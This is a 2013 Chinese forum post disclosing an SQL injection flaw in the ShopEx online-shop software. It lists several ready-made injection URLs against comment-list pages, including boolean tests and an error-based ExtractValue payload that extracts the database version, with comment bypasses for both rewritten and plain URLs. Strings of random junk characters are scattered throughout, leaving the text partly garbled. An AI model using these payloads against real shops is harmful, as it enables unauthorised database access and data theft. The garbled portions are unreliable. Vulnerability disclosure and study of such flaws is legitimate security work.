注入漏洞是一种经典的漏洞类型了，自从上次跟基友深聊了注入，我对注入的认识又提升了一个高度，在我看来不可以注入的地方，TMD的竟然可以注入，注入攻击最早出现了1998年，貌似是，记不清了。10多年了，依然存在，虽然比以前出现量少了，但不得不用到的一种攻击技术… ; | |! ~! G% ?1 I$ R5 P
1 F, X1 j* Z e5 B2 \
好吧，我扯远了~~
- _9 _1 z/ q) a4 B其实注入不仅仅出现在动态页面上，难道伪静态后就不能注入了吗？NO~% g/ l: p% V$ T r! O; K: R/ ^
不扯了，直接说主题吧，shopex网店系统注入漏洞。注入点如下： 5 Z% C/ N; z: a- H+ t
8 a5 r1 |. `' u+ C7 ihttp://www.x.cn/index.php?comment-822′/**/and/**/’1′=’1-ask-commentlist.html 3 x* H. g# N T
2 C1 x& W2 I+ Z- \8 }http://www.x.com/comment-8967′/**/and/**/ExtractValue(0×64,concat(0×01,(select/**/@@version)))/**/order/**/by/**/’1-ask-commentlist.html
5 I; A! w$ w# u, v0 l
) x, V; L, i1 a8 l6 x8 Ghttp://www.x.cn/index.php?comment-822′/**/and/**/’1′=’1-ask-commentlist.html ! i6 a6 o* o4 @1 \) N% A
: I, A q4 |& ~& i) Y v, Z
http://demo.x.com.cn/485/index.php?comment-190′/**/and/**/’1′=’1-ask-commentlist.html 7 X2 O2 \0 L; W7 J+ ]3 ?, k
2 |- Z3 W9 o' v9 _+ \( S $ O3 B# `7 F* C2 \# o+ L. W6 o
一个是网站未开启伪静态的注入，一个是网站开启伪静态后的注入，以及是否屏蔽错误回显的2X2=4种情况。
0 |* `! e- c9 L4 V% t如何注入就不多说了，10多年的东西了…不会也会了…
M4 g) e5 N$ M5 C4 H3 h8 _
0 d L5 o4 n7 W# s& _. k
; T2 B. N- c' L/ p& O0 n8 `0 e, m& s8 @2 k9 @# K6 R& ?( i# t
0 t: q' h) c1 K3 ~, a+ a# H |
发表于 2013-2-19 08:31:27
收藏
支持
反对